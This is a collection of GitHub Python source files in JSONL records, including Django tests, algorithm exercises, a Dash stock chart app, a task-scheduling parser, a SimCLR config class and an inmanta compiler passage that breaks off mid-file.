test_adding_more_than_three_personalities_fails(self):\n kotodummy = create_kotodummy(1, 'Kotodummy', '', StageType.CHILD)\n kotodummy.save()\n\n kotodummy.personality_set.create(personality = PersonalityType.CUTE)\n kotodummy.personality_set.create(personality = PersonalityType.CHEERFUL)\n kotodummy.personality_set.create(personality = PersonalityType.DARK)\n\n kotodummy.personality_set.create(personality = PersonalityType.SERIOUS)\n\n self.assertRaises(TooManyPersonalitiesError, kotodummy.save)\n \n def test_saving_kotodummy_with_exactly_three_personalities(self):\n kotodummy = create_kotodummy(1, 'Kotodummy', '', StageType.CHILD)\n kotodummy.save()\n\n kotodummy.personality_set.create(personality = PersonalityType.CUTE)\n kotodummy.personality_set.create(personality = PersonalityType.CHEERFUL)\n kotodummy.personality_set.create(personality = PersonalityType.DARK)\n kotodummy.save()\n\n self.assertEqual(3, kotodummy.personality_set.count())\n \n def test_kotodummy_name_must_be_unique(self):\n kotodummy_one = create_kotodummy(1, 'Kotodummy', '', StageType.CHILD)\n kotodummy_one.save()\n\n kotodummy_two = create_kotodummy(2, 'Kotodummy', '', StageType.CHILD)\n \n self.assertRaises(IntegrityError, kotodummy_two.save)","repo_name":"Kyohans/Kotopedia","sub_path":"kotopedia-django/kotopedia/tests/test_kotodummy.py","file_name":"test_kotodummy.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"21479660342","text":"import sys\r\nimport heapq\r\ninput=sys.stdin.readline\r\n# 19m 42s\r\n# 갈 수 있는 모든 경로와 비용을 구한 다음 다익스트라\r\n# 갈 수 있는 경로:1->2~N,2->3~N,3->4~N...\r\nN=int(input())\r\nF=[input().rstrip() for _ in range(N)]\r\nD=[[] for _ in range(N)]\r\n\r\nfor i in range(N):\r\n for j in range(i+1,N):\r\n dif=0\r\n for k in range(len(F[i])):\r\n dif+=abs(int(F[i][k])-int(F[j][k]))**2\r\n D[i].append((dif,j))\r\n D[j].append((dif,i))\r\n # 양방향\r\n\r\ns,l=map(int,input().split())\r\ns-=1;l-=1\r\nq=[]\r\ndist=[float('inf')]*N\r\ndist[s]=0\r\nvisited=[False]*N\r\nheapq.heappush(q,(0,s))\r\n\r\nwhile q:\r\n w,u=heapq.heappop(q)\r\n if visited[u]==True: continue\r\n for ww,v in D[u]:\r\n if dist[v]>w+ww:\r\n dist[v]=w+ww\r\n heapq.heappush(q,(dist[v],v))\r\n visited[u]=True\r\n\r\nprint(dist[l])\r\n\r\n\r\n","repo_name":"jiwon-dev/Algorithm","sub_path":"Dijkstra/14630.py","file_name":"14630.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2051778165","text":"def dist(x0, y0, x1, y1):\n return (x1-x0)**2+(y1-y0)**2\n\n\nfi = open(\"spantree.in\",\"r\")\nfo = open(\"spantree.out\", \"w\")\n\nn = [int(x) for x in fi.readline().split()][0]\n\ng = [[None, None] for _ in range(n)]\nd = [0 for _ in range(n)]\ntree = [False for _ in range(n)]\ntree[0] = True\nmst = 0\nfor i in range(n):\n x, y = [int(_) for _ in fi.readline().split()]\n g[i][0] = x\n g[i][1] = y\n d[i] = dist(g[0][0], g[0][1], x, y)\n\nfor i in range(1, n):\n min = 10000000000\n m = 0\n for j in range(1, n):\n if d[j] < min and not tree[j]:\n min = d[j]\n m = j\n mst += min**(1/2)\n tree[m] = True\n for z in range(1, n):\n if not tree[z]:\n tmp = dist(g[m][0], g[m][1], g[z][0], g[z][1])\n if tmp < d[z]:\n d[z] = tmp\n\nprint(mst)\n\nfi.close()\nfo.close()","repo_name":"mathslove/ITMO","sub_path":"2-sem/.Algo/laba10/B/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"798859643","text":"from django.conf.urls import patterns, url, include\nfrom rest_framework import routers\nfrom .views import PortfolioView, PortfolioListView, BenchmarkHistoryView, CumulativeReturnsView\n\n\nrouter = routers.DefaultRouter()\n\nurlpatterns = patterns('',\n url(r'^api/portfolios$', PortfolioListView.as_view()),\n url(r'^api/portfolio/(?P\\w+)/?$', PortfolioView.as_view()),\n url(r'^api/benchmark$', BenchmarkHistoryView.as_view()),\n url(r'^api/cumreturns/(?P\\w+)/?$',CumulativeReturnsView.as_view()),\n url(r'^$', include(router.urls)),\n)\n","repo_name":"shwetareddy/portfolio-performance","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33702237386","text":"# -*- coding: utf-8 -*-\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nfrom stock_reader import get_yahoo_data #local file\nfrom datetime import datetime, timedelta\n\napp = dash.Dash()\n\ncolors = {\n 'background': 'white',\n 'text': 'black'\n}\n\nmarkdown_text=\"\"\"\n# Big Text\n## H2\n### H3\n\"\"\"\n\n\n\n\napp.layout = html.Div(style={'backgroundColor': colors['background']}, children=[\n \n\n html.Div(children='Dash: A web application framework for Python.', style={\n 'textAlign': 'center',\n 'color': colors['text']\n }),\n\n dcc.Input(id='input', value='', type='text'),\n \n \n html.Div([\n dcc.Markdown(children=markdown_text)\n ], style={'textAlign': 'center', 'color': colors['text']}),\n\n html.Div(id='output-graph'),\n \n \n])\n\n@app.callback(\n Output(component_id='output-graph', component_property='children'),\n [Input(component_id='input', component_property='value')]\n )\n\ndef update_graph(input_data):\n \n _symbols = [input_data]\n\n start_date = datetime.today() - timedelta(days=720)\n start_date = start_date.strftime('%Y-%m-%d')\n\n end_date = datetime.today().strftime('%Y-%m-%d')\n end_date\n # df_test = yf.download('AAPL', start_date, end_date, usecols=['Adj Close'])\n\n df = get_yahoo_data(_symbols, start_date, end_date)\n\n return dcc.Graph(\n id='example-graph-2',\n figure={\n 'data': [\n {'x': df.index, 'y': df[_symbols[0]], 'type': 'line', 'name': _symbols[0]},\n # {'x': [1, 2, 3], 'y': [2, 4, 5], 'type': 'bar', 'name': 'Montréal'},\n ],\n 'layout': {\n 'title': \"Adj Close for : {}\".format(_symbols[0]),\n 'plot_bgcolor': colors['background'],\n 'paper_bgcolor': colors['background'],\n 'font': {\n 'color': colors['text']\n }\n }\n }\n )\n\nif __name__ == '__main__':\n app.run_server(debug=True)","repo_name":"krysmathis/dash-sample-app","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12056861865","text":"#!/usr/bin/env python\n\nimport json\nimport sys\n\n\nclass TaskSetJsonKeys(object):\n # Task set\n KEY_TASKSET = \"taskset\"\n\n # Task\n KEY_TASK_ID = \"task_id\"\n KEY_TASK_PERIOD = \"period\"\n KEY_TASK_WCET = \"wcet\"\n KEY_TASK_DEADLINE = \"deadline\"\n KEY_TASK_OFFSET = \"offset\"\n KEY_TASK_SECTIONS = \"sections\"\n\n # Schedule\n KEY_SCHEDULE_START = \"startTime\"\n KEY_SCHEDULE_END = \"endTime\"\n\n # Release times\n KEY_release_timeS = \"release_times\"\n KEY_release_timeS_JOBRELEASE = \"timeInstant\"\n KEY_release_timeS_TASKID = \"task_id\"\n\n\nclass TaskSetIterator:\n def __init__(self, _taskset):\n self.taskset = _taskset\n self.index = 0\n self.keys = iter(_taskset.tasks)\n\n def __next__(self):\n key = next(self.keys)\n return self.taskset.tasks[key]\n\n\nclass TaskSet(object):\n def __init__(self, _data):\n self.parse_data_to_tasks(_data)\n self.build_job_releases(_data)\n self.jobs = None\n self.tasks = None\n\n def parse_data_to_tasks(self, _data):\n _taskset = {}\n\n for taskData in _data[TaskSetJsonKeys.KEY_TASKSET]:\n task = Task(taskData)\n\n if task.id in _taskset:\n print(\"Error: duplicate task ID: {0}\".format(task.id))\n return\n\n if task.period < 0 and task.relativeDeadline < 0:\n print(\"Error: aperiodic task must have positive relative deadline\")\n return\n\n _taskset[task.id] = task\n\n self.tasks = _taskset\n\n def build_job_releases(self, _data):\n jobs = []\n\n if TaskSetJsonKeys.KEY_release_timeS in _data: # necessary for sporadic releases\n for jobRelease in _data[TaskSetJsonKeys.KEY_release_timeS]:\n release_time = float(jobRelease[TaskSetJsonKeys.KEY_release_timeS_JOBRELEASE])\n task_id = int(jobRelease[TaskSetJsonKeys.KEY_release_timeS_TASKID])\n\n job = self.get_task_by_id(task_id).spawn_job(release_time)\n jobs.append(job)\n else:\n schedule_start_time = float(_data[TaskSetJsonKeys.KEY_SCHEDULE_START])\n schedule_end_time = float(_data[TaskSetJsonKeys.KEY_SCHEDULE_END])\n for task in self:\n t = max(task.offset, schedule_start_time)\n while t < schedule_end_time:\n job = task.spawn_job(t)\n if job is not None:\n jobs.append(job)\n\n if task.period >= 0:\n t += task.period # periodic\n else:\n t = schedule_end_time # aperiodic\n\n self.jobs = jobs\n\n def __contains__(self, elt):\n return elt in self.tasks\n\n def __iter__(self):\n return TaskSetIterator(self)\n\n def __len__(self):\n return len(self.tasks)\n\n def get_task_by_id(self, task_id):\n return self.tasks[task_id]\n\n def print_tasks(self):\n print(\"\\nTask Set:\")\n for task in self:\n print(task)\n\n def print_jobs(self):\n print(\"\\nJobs:\")\n for task in self:\n for job in task.get_jobs():\n print(job)\n\n\nclass Task(object):\n def __init__(self, task_dict):\n self.id = int(task_dict[TaskSetJsonKeys.KEY_TASK_ID])\n self.period = float(task_dict[TaskSetJsonKeys.KEY_TASK_PERIOD])\n self.wcet = float(task_dict[TaskSetJsonKeys.KEY_TASK_WCET])\n self.relativeDeadline = float(\n task_dict.get(TaskSetJsonKeys.KEY_TASK_DEADLINE, task_dict[TaskSetJsonKeys.KEY_TASK_PERIOD]))\n self.offset = float(task_dict.get(TaskSetJsonKeys.KEY_TASK_OFFSET, 0.0))\n self.sections = task_dict[TaskSetJsonKeys.KEY_TASK_SECTIONS]\n\n self.last_job_id = 0\n self.last_released_time = 0.0\n\n self.jobs = []\n\n def get_all_resources(self):\n # CHECK\n return list(set([sec[0] for sec in self.sections]))\n\n def spawn_job(self, release_time):\n if self.last_released_time > 0 and release_time < self.last_released_time:\n print(\"INVALID: release time of job is not monotonic\")\n return None\n\n if self.last_released_time > 0 and release_time < self.last_released_time + self.period:\n print(\"INVALID: release times are not separated by period\")\n return None\n\n self.last_job_id += 1\n self.last_released_time = release_time\n\n job = Job(self, self.last_job_id, release_time)\n\n self.jobs.append(job)\n return job\n\n def get_jobs(self):\n return self.jobs\n\n def get_job_by_id(self, job_id):\n if job_id > self.last_job_id:\n return None\n\n job = self.jobs[job_id - 1]\n if job.id == job_id:\n return job\n\n for job in self.jobs:\n if job.id == job_id:\n return job\n\n return None\n\n def get_utilization(self):\n # CHECK\n return self.wcet / self.period\n\n def __str__(self):\n return \"\\n task {0}:\\n Φ{0} = {1}\\n T{0} = {2}\\n C{0} = {3}\\n D{0} = {4}\\n ∆{0} = {5}\".format(\n self.id, self.offset, self.period, self.wcet,\n self.relativeDeadline, self.sections)\n\n\nclass Job(object):\n def __init__(self, task, job_id, release_time):\n # CHECK\n self.task = task\n self.id = job_id\n self.release_time = release_time\n self.holding_resources = []\n self.waiting_resources = []\n self.is_executing = False\n self.deadline = release_time + task.relativeDeadline\n\n def get_resource_held(self):\n \"\"\"the resources that it's currently holding\"\"\"\n # CHECK\n return self.holding_resources\n\n def get_resource_waiting(self):\n \"\"\"a resource that is being waited on, but not currently executing\"\"\"\n # CHECK\n return self.waiting_resources\n\n def get_remaining_section_time(self):\n # TODO\n pass\n\n def execute(self, time):\n # TODO\n self.is_executing = True\n\n def execute_to_completion(self):\n # TODO\n self.is_executing = True\n\n def is_completed(self):\n # TODO\n pass\n\n def __str__(self):\n return \" [{0}:{1}] released at {2} with deadline {3}\".format(\n self.task.id, \n self.id, \n self.release_time, \n self.deadline\n )\n\n\ncurrent_time = 0\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n file_path = sys.argv[1]\n else:\n file_path = \"taskset.json\"\n\n with open(file_path) as json_data:\n data = json.load(json_data)\n\n taskset = TaskSet(data)\n\n taskset.print_tasks()\n taskset.print_jobs()\n","repo_name":"amir78729/erts-scheduling-hw3","sub_path":"taskset.py","file_name":"taskset.py","file_ext":"py","file_size_in_byte":6697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"14956886479","text":"#!/usr/local/bin/python\n\n# Libraries\nimport cv2\nimport numpy as np\nimport os\n\n\n# Check if the \"image_results\" directory exists\nif os.path.isdir('image_result') is False:\n print('The \"image_result\" directory does not exist. Creating directory.')\n os.mkdir('image_result')\nelse:\n print('The \"image_result\" directory does exist.')\n\n\n# Capturing local path\npath = os.getcwd()\n\n\ndef count_real():\n\n '''\n This function has the objective of detecting,\n pointing out and accounting the amount of coins.\n\n Returns:\n Coins detected.\n '''\n\n # Read the original image\n img_real_coin = cv2.imread(os.path.join('Images', 'real_original.jpg'))\n\n # Verify if can read the image\n if img_real_coin is not None:\n cv2.imshow('Original Image', img_real_coin)\n cv2.waitKey(0)\n else:\n print('Cant read image. Please make sure the image is in the folder ')\n\n # convert the image to gray scale\n img_Gray = cv2.cvtColor(img_real_coin, cv2.COLOR_BGR2GRAY)\n cv2.imshow('Gray Scale Image', img_Gray)\n cv2.waitKey(0)\n\n # Apply the Blur Filter\n # Ksize = (19,19). Better value compared to the proposed\n img_Blur = cv2.blur(img_Gray, (19, 19))\n cv2.imshow('Blurred Image', img_Blur)\n cv2.waitKey(0)\n\n # Detect circles with HoughCircles\n circles = cv2.HoughCircles(\n img_Gray, cv2.HOUGH_GRADIENT, dp=1.5,\n minDist=50, minRadius=15, maxRadius=70)\n\n # Checking if a circle is found\n if circles is not None:\n circles = np.uint16(np.around(circles))\n\n print(f'Number of coins detected = {circles.shape[1]}')\n\n for i in circles[0, :]:\n # draw the outer circle\n cv2.circle(img_real_coin, (i[0], i[1]), i[2], (0, 255, 0), 3)\n # draw the center of the circle\n cv2.circle(img_real_coin, (i[0], i[1]), 2, (0, 0, 255), 3)\n else:\n print('Cant found circles')\n\n cv2.imshow('detected circles', img_real_coin)\n cv2.waitKey(0)\n\n # Save the image in Folder\n print(f'Your image will be saved on the folder {path}\\\\image_result')\n cv2.imwrite(\n os.path.join(\n path, 'Project', 'image_result', 'real_result.jpg', img_real_coin))\n\n\nif __name__ == \"__main__\":\n\n count_real()\n","repo_name":"FelipeAmaral13/EstudosVisaoComp","sub_path":"Desafio CERTI/Project/Contando_moedas_de_Real.py","file_name":"Contando_moedas_de_Real.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15611360616","text":"import numpy as np\nfrom Input import *\nfrom Optimal_gamma import *\nimport matplotlib.pyplot as plt\nfrom Limiting_Power import *\n\n\n\ndef calculate_tether_limit_reel_speeds(step):\n \n gamma_out_n,gamma_in_n = calculate_opt_gamma_nominal() #nominal reel out from optimal_gamma.py\n\n F_in = 0.07 \n F_out = 5.4\n\n v_w = np.linspace(v_w_n,2.5*v_w_n,step)\n gamma_in = np.linspace(gamma_in_n, 0.25, step)\n gamma_out = np.linspace(gamma_out_n, 0.05, step)\n gamma_in_max_f_c = np.zeros(step)\n gamma_out_max_f_c = np.zeros(step)\n f_c_mu = np.zeros(step)\n P_c = np.zeros(step)\n\n ci = 0\n cj = 0\n\n for i in v_w:\n mu = i/v_w_n\n P_w = 0.5*rho*i**3\n for j in gamma_in:\n f_c_mu[cj] = ((1/(mu**2))*(1-gamma_out_n)**2-(F_in/F_out)*(1+j)**2)*((j*(mu-1+gamma_out_n))/(mu*j+mu-1+gamma_out_n))\n cj +=1\n max_f_c = np.amax(f_c_mu)\n a = np.where(f_c_mu == max_f_c)\n gamma_in_max_f_c[ci] = gamma_in[a]\n gamma_out_max_f_c[ci] = 1-((1-gamma_out_n)/mu)\n P_c [ci] = P_w*max_f_c\n ci +=1\n cj = 0\n #print (gamma_in_max_f_c,gamma_out_max_f_c,v_w)\n return gamma_in_max_f_c,gamma_out_max_f_c,v_w,P_c\n\ndef plot_tether_limit_reel_speeds(step):\n gamma_in_max_f_c,gamma_out_max_f_c,v_w,P_c = calculate_tether_limit_reel_speeds(step) \n plt.plot(v_w, gamma_in_max_f_c, label = 'Reel-in speed')\n plt.plot(v_w,gamma_out_max_f_c,'--', label = 'Reel-out speed')\n plt.xlabel('Wind speed',fontsize = 16)\n plt.ylabel('Reel speeds',fontsize = 16)\n plt.legend(fontsize = 16)\n plt.grid()\n plt.show()\n\ndef plot_tether_limit_cycle_power(step):\n gamma_in_max_f_c,gamma_out_max_f_c,v_w,P_c = calculate_tether_limit_reel_speeds(step)\n power_before_v_w_n,v_w_before_v_n = calculate_power_before_v_w_n(step) \n plt.plot(v_w, P_c, label = 'Cycle Power')\n plt.plot(v_w_before_v_n,power_before_v_w_n)\n plt.xlabel('Wind speed',fontsize = 16)\n plt.ylabel('P_c',fontsize = 16)\n plt.legend(fontsize = 16)\n plt.grid()\n plt.show()\n\n#plot_tether_limit_reel_speeds(100)\nplot_tether_limit_cycle_power(100)","repo_name":"camillederie/DSE-KITEPOWER-GROUP-15-2022","sub_path":"Luchsinger/luchsingermodel/Limiting_Tether_Force.py","file_name":"Limiting_Tether_Force.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29854270480","text":"#!/usr/bin/python3\ndef list_division(my_list_1, my_list_2, list_length):\n res = []\n for x in range(0, list_length):\n try:\n quotient = my_list_1[x] / my_list_2[x]\n except ZeroDivisionError:\n quotient = 0\n print(\"division by 0\")\n except TypeError:\n quotient = 0\n print(\"wrong type\")\n except IndexError:\n quotient = 0\n print(\"out of range\")\n finally:\n res.append(quotient)\n return (res)\n","repo_name":"Chiomcee/alx-higher_level_programming","sub_path":"0x05-python-exceptions/4-list_division.py","file_name":"4-list_division.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72059638029","text":"import sqlite3 as sq # Библиотека для работы с БД\nfrom data_bases.path_to_base import PATH\n\n# Добиться результата:\n# F:\\\\! PYTON\\\\PyCharm\\\\RequestsAPI\\\\data_bases\\\\base.db\n# print(PATH)\n\nwith sq.connect(PATH) as connect_db:\n cursor_db = connect_db.cursor()\n cursor_db.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS trade_api (\n name TEXT UNIQUE,\n exchange TEXT,\n public_key TEXT UNIQUE,\n secret_key TEXT UNIQUE)\n \"\"\")\n\n cursor_db.execute(\"\"\"SELECT * FROM trade_api\"\"\")\n rows = cursor_db.fetchall()\n print(rows, '\\n')\n\n\n\n\n\n\n\n\n","repo_name":"Eugeny1978/RequestsAPI","sub_path":"tests/refer_to_database.py","file_name":"refer_to_database.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73455051789","text":"\r\ndef solve(s):\r\n l = list(s)\r\n l[0] = l[0].upper()\r\n for i in range(len(l)):\r\n if l[i] == ' ':\r\n l[i+1] = l[i+1].upper()\r\n return ''.join(l)\r\n\r\nif __name__ == '__main__':\r\n s = input()\r\n print(solve(s))\r\n\r\n# s = 'hello world'\r\n# print(s[:].split())\r\n","repo_name":"yashwanthguguloth24/HackerRank-Codes","sub_path":"Python/capitalize.py","file_name":"capitalize.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"1667729559","text":"import os\nfrom datetime import datetime\nimport torch\n\nfrom dataclasses import dataclass\n\n\nclass SimCLRConfig:\n @dataclass()\n class Base:\n output_dir_path: str\n log_dir_path: str\n log_file_path: str\n device: object\n num_gpu: int\n logger_name: str\n\n @dataclass()\n class Train:\n # batch_size as usual. examples: 16,32,..\n batch_size: int\n\n # number of workers to be used for data loading. examples: 2,4,...\n num_workers: int\n\n # start training with this epoch. most likely: 0\n start_epoch: int\n\n # in case of restart this is where the saved model is expected to be located\n restart_log_dir_path: str\n\n # end training with this epoch. examples: 10, 100,...\n epochs: int\n\n # directory where the datasets are located. example: \"/home/USER_NAME/Data\"\n data_dir_path: str\n\n # dataset name. options: [\"CIFAR10\", \"STL10\", \"iNaturalist2019\", \"ImageNet\"]\n dataset: str\n\n # save trained model every n epochs. examples: 1,5,10,...\n save_num_epochs: int\n\n # image size obtained from last data preparation step\n img_size: int\n\n # name of the optimizer. options: [\"Adam\", \"LARS\"]\n # TODO: implement LARS ptimizer\n optimizer: str\n\n weight_decay: float\n\n temperature: float\n\n global_step: int\n\n current_epoch: int\n\n @dataclass()\n class Model:\n # model architecture. options: [\"resnet18\", \"resnet50\"]\n resnet: str\n normalize: bool\n projection_dim: int\n\n @dataclass()\n class SimCLR:\n train: object\n model: object\n\n @dataclass()\n class LogisticRegression:\n epochs: int\n batch_size: int\n learning_rate: float\n momentum: float\n img_size: int\n\n model_path: str\n epoch_num: int\n\n @dataclass()\n class FineTuning:\n epochs: int\n batch_size: int\n learning_rate: float\n momentum: float\n img_size: int\n save_num_epochs: int\n\n # decay \"learning_rate\" by a factor of \"gamma\" every \"step_size\" epochs\n gamma: float\n step_size: int\n\n model_path: str\n epoch_num: int\n\n @dataclass()\n class ONNX:\n batch_size: int\n img_size: int\n model_path: str\n epoch_num: int\n\n def __init__(self, config):\n global_step = 0\n current_epoch = 0\n\n simclr_train = SimCLRConfig.Train(**config['simclr']['train'], global_step=global_step,\n current_epoch=current_epoch)\n simclr_model = SimCLRConfig.Model(**config['simclr']['model'])\n self.simclr = SimCLRConfig.SimCLR(simclr_train, simclr_model)\n\n model_path = None\n epoch_num = None\n self.logistic_regression = SimCLRConfig.LogisticRegression(**config['logistic_regression'],\n model_path=model_path, epoch_num=epoch_num)\n model_path = None\n epoch_num = None\n self.fine_tuning = SimCLRConfig.FineTuning(**config['fine_tuning'], model_path=model_path,\n epoch_num=epoch_num)\n\n model_path = None\n epoch_num = None\n self.onnx = SimCLRConfig.ONNX(**config['onnx'], model_path=model_path, epoch_num=epoch_num)\n\n logger_name = config['logger_name']\n\n output_dir_path = 'output'\n now = datetime.now()\n dt_string: str = now.strftime(\"%Y_%m_%d_%H_%M_%S\")\n log_dir_name = dt_string + '_' + logger_name + '_' + self.simclr.train.dataset.lower()\n\n log_dir_path = os.path.join(output_dir_path, log_dir_name)\n log_file_path = os.path.join(log_dir_path, 'log.txt')\n\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n num_gpu = torch.cuda.device_count()\n\n self.base = SimCLRConfig.Base(output_dir_path, log_dir_path, log_file_path, device, num_gpu, logger_name)\n\n def __str__(self):\n return str(self.__class__) + \": \" + str(self.__dict__)\n","repo_name":"sally20921/simclr","sub_path":"SimCLR-2/config/simclr_config.py","file_name":"simclr_config.py","file_ext":"py","file_size_in_byte":4129,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"} +{"seq_id":"72153094987","text":"from classes.Ability import Ability\nfrom classes.Enemy import Enemy\n\n\nclass Bowser(Enemy):\n # https://www.youtube.com/watch?v=sFVYamNtgKQ\n name = \"Bowser\"\n strength = 20\n defense = 0.5\n max_mana = 20\n max_health = 170\n boss = True\n\n def __init__(self, action_log):\n super(Bowser, self).__init__(action_log, self.name, self.strength, self.defense, self.max_mana, self.max_health)\n\n self.abilities += [\n Ability(self.action_log, \"Claw Attack\", 15, 3),\n Ability(self.action_log, \"Fire Breath\", 50, 7),\n ]","repo_name":"feeby2494/backend_software_engineer_test_program","sub_path":"classes/Bowser.py","file_name":"Bowser.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9095123524","text":"\"\"\"\n그리디 - 1이 될때 까지\n\n25 5\n\n2\n\"\"\"\n\nn , k = map(int,input().split())\ncount = 0\n\n# 1번. n에서 1을 뺀다\n# 2번. n에서 k로 나눈다.\n\n# 일반 방법\nwhile n > 1:\n if n % k == 0:\n n = n // k\n else:\n n -= 1\n count += 1\n\n\n# 최적화된 방법\n# 나눌때 한번에 빼는 방식\nwhile True:\n target = (n // k) * 3 # 나누기가 가능할 숫자(1번의 n값)\n count += (n - target) # 빼야 되는 횟수(2번)\n n = target # n = 24\n\n # 더이상 나누기가 안되는 경우\n if n < k:\n break # n = 0 종료\n\n # 나누기!\n n //= k \n count += 1 \n\ncount += (n - 1) # 6\nprint(count)","repo_name":"dongwoodev/CodingTest","sub_path":"알고리즘/이코테/234.py","file_name":"234.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37197190461","text":"from collections import abc\nfrom dataclasses import dataclass\nfrom itertools import chain\nfrom typing import TYPE_CHECKING, Dict, Iterator, List, Optional, Sequence, Tuple\n\nimport inmanta.execute.dataflow as dataflow\nfrom inmanta.ast import (\n Anchor,\n DirectExecuteException,\n Locatable,\n Location,\n Named,\n Namespace,\n Namespaced,\n OptionalValueException,\n RuntimeException,\n WithComment,\n)\nfrom inmanta.execute.dataflow import DataflowGraph\nfrom inmanta.execute.runtime import (\n ExecutionUnit,\n Instance,\n ProgressionPromise,\n QueueScheduler,\n RawUnit,\n Resolver,\n ResultCollector,\n ResultVariable,\n Typeorvalue,\n VariableABC,\n WrappedValueVariable,\n)\n\nif TYPE_CHECKING:\n from inmanta.ast.assign import SetAttribute # noqa: F401\n from inmanta.ast.blocks import BasicBlock # noqa: F401\n from inmanta.ast.type import NamedType, Type # noqa: F401\n from inmanta.ast.variables import Reference # noqa: F401\n\n\nclass Statement(Namespaced):\n \"\"\"\n An abstract baseclass representing a statement in the configuration policy.\n \"\"\"\n\n __slots__ = (\"namespace\", \"anchors\", \"lexpos\")\n\n def __init__(self) -> None:\n Namespaced.__init__(self)\n self.namespace = None # type: Namespace\n self.anchors = [] # type: List[Anchor]\n self.lexpos: Optional[int] = None\n\n def get_namespace(self) -> \"Namespace\":\n return self.namespace\n\n def pretty_print(self) -> str:\n return str(self)\n\n def get_location(self) -> Location:\n return self.location\n\n def get_anchors(self) -> List[Anchor]:\n return self.anchors\n\n def nested_blocks(self) -> Iterator[\"BasicBlock\"]:\n \"\"\"\n Returns an iterator over blocks contained within this statement.\n \"\"\"\n return iter(())\n\n\nclass DynamicStatement(Statement):\n \"\"\"\n This class represents all statements that have dynamic properties.\n These are all statements that do not define typing.\n \"\"\"\n\n __slots__ = (\"_own_eager_promises\",)\n\n def __init__(self) -> None:\n Statement.__init__(self)\n self._own_eager_promises: Sequence[\"StaticEagerPromise\"] = []\n\n def get_own_eager_promises(self) -> Sequence[\"StaticEagerPromise\"]:\n \"\"\"\n Returns all eager promises this statement itself is responsible for.\n\n Should only be called after normalization.\n \"\"\"\n return self._own_eager_promises\n\n def get_all_eager_promises(self) -> Iterator[\"StaticEagerPromise\"]:\n \"\"\"\n Returns all eager promises for this statement, including eager promises on sub-expressions in case of composition.\n These are the promises that should be acquired by parent blocks.\n\n Should only be called after normalization.\n \"\"\"\n return iter(self._own_eager_promises)\n\n def normalize(self) -> None:\n raise NotImplementedError()\n\n def emit(self, resolver: Resolver, queue: QueueScheduler) -> None:\n \"\"\"Emit new instructions to the queue, executing this instruction in the context of the resolver\"\"\"\n raise NotImplementedError()\n\n def declared_variables(self) -> Iterator[str]:\n \"\"\"\n Returns an iterator over this statement's own declared variables.\n \"\"\"\n return iter(())\n\n\nclass RequiresEmitStatement(DynamicStatement):\n \"\"\"\n Statements that execute in two stages based on their requirements. These statements have a well defined set of\n names/variables they require before they can execute. When these are emitted, they schedule their own execution to continue\n as soon as the requirements are met.\n If a RequiresEmitStatement does not appear as a top-level statement in a block but as a child of another statement, instead\n of being emitted, its requirements may be requested through `requires_emit`. These should then be used to schedule `execute`\n when the requirements are met.\n \"\"\"\n\n __slots__ = ()\n\n def emit(self, resolver: Resolver, queue: QueueScheduler) -> None:\n \"\"\"\n Emits this statement by scheduling its promises and scheduling a unit to wait on its requirements. Injects the\n scheduled promise objects in the waiter's requires in order to pass it on to the execute method.\n \"\"\"\n target = ResultVariable()\n reqs = self.requires_emit(resolver, queue)\n ExecutionUnit(queue, resolver, target, reqs, self)\n\n def requires_emit(self, resolver: Resolver, queue: QueueScheduler) -> Dict[object, VariableABC]:\n \"\"\"\n Returns a dict of the result variables required for execution. Names are an opaque identifier. May emit statements to\n break execution is smaller segments.\n Additionally schedules this statement's eager promises and includes them (wrapped in a result variable) in the requires\n dict in order to pass it on to the execution phase.\n When this method is called, the caller must make sure to eventually call `execute` as well.\n \"\"\"\n return self._requires_emit_promises(resolver, queue)\n\n def requires_emit_gradual(\n self, resolver: Resolver, queue: QueueScheduler, resultcollector: ResultCollector[object]\n ) -> Dict[object, VariableABC]:\n \"\"\"\n Returns a dict of the result variables required for execution. Behaves like requires_emit, but additionally may attach\n resultcollector as a listener to result variables.\n When this method is called, the caller must make sure to eventually call `execute` as well.\n \"\"\"\n return self.requires_emit(resolver, queue)\n\n def _requires_emit_promises(self, resolver: Resolver, queue: QueueScheduler) -> Dict[object, VariableABC]:\n \"\"\"\n Acquires eager promises this statement is responsible for and returns them, wrapped in a variable, in a requires dict.\n Returns an empty dict if no promises were acquired (for performance reasons).\n \"\"\"\n promises: Sequence[\"EagerPromise\"] 